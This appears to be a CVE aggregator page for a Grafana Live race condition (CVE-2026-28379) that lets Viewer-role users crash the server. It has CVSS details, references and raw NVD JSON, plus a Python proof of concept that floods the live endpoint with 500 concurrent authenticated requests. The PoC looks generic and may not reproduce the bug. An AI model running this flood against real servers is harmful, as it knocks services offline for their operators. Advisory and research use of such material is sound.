CVE-2026-28379

Description

A race condition in Grafana Live allows authenticated users with Viewer role to trigger a server crash by sending concurrent requests that cause a fatal map access error. This results in complete service unavailability requiring restart of the Grafana server.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

具体受影响版本请参考官方安全公告

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import asyncio
import aiohttp

# Target configuration
TARGET_URL = "http://localhost:3000/api/live/ws"  # Replace with actual Grafana Live endpoint
COOKIE = "grafana_session=your_session_cookie_here" # Replace with a valid Viewer role cookie

async def send_request(session):
    headers = {
        "Cookie": COOKIE
    }
    try:
        async with session.get(TARGET_URL, headers=headers, timeout=aiohttp.ClientTimeout(total=10)) as response:
            print(f"Request sent, status: {response.status}")
            await response.read()
    except Exception as e:
        print(f"Request failed: {e}")

async def main():
    # Create a session to reuse connections
    async with aiohttp.ClientSession() as session:
        tasks = []
        # Send a large number of concurrent requests to trigger the race condition
        for _ in range(500):
            task = send_request(session)
            tasks.append(task)
        
        # Execute all requests concurrently
        await asyncio.gather(*tasks)

if __name__ == "__main__":
    print("Starting PoC for CVE-2026-28379...")
    asyncio.run(main())

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-28379
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-28379
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-28379/
[4] VulDB https://vuldb.com/cve/CVE-2026-28379
[5] https://grafana.com/security/security-advisories/cve-2026-28379

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-28379", "sourceIdentifier": "[email protected]", "published": "2026-05-13T20:16:19.920", "lastModified": "2026-05-14T19:16:31.880", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A race condition in Grafana Live allows authenticated users with Viewer role to trigger a server crash by sending concurrent requests that cause a fatal map access error. This results in complete service unavailability requiring restart of the Grafana server."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "references": [{"url": "https://grafana.com/security/security-advisories/cve-2026-28379", "source": "[email protected]"}]}}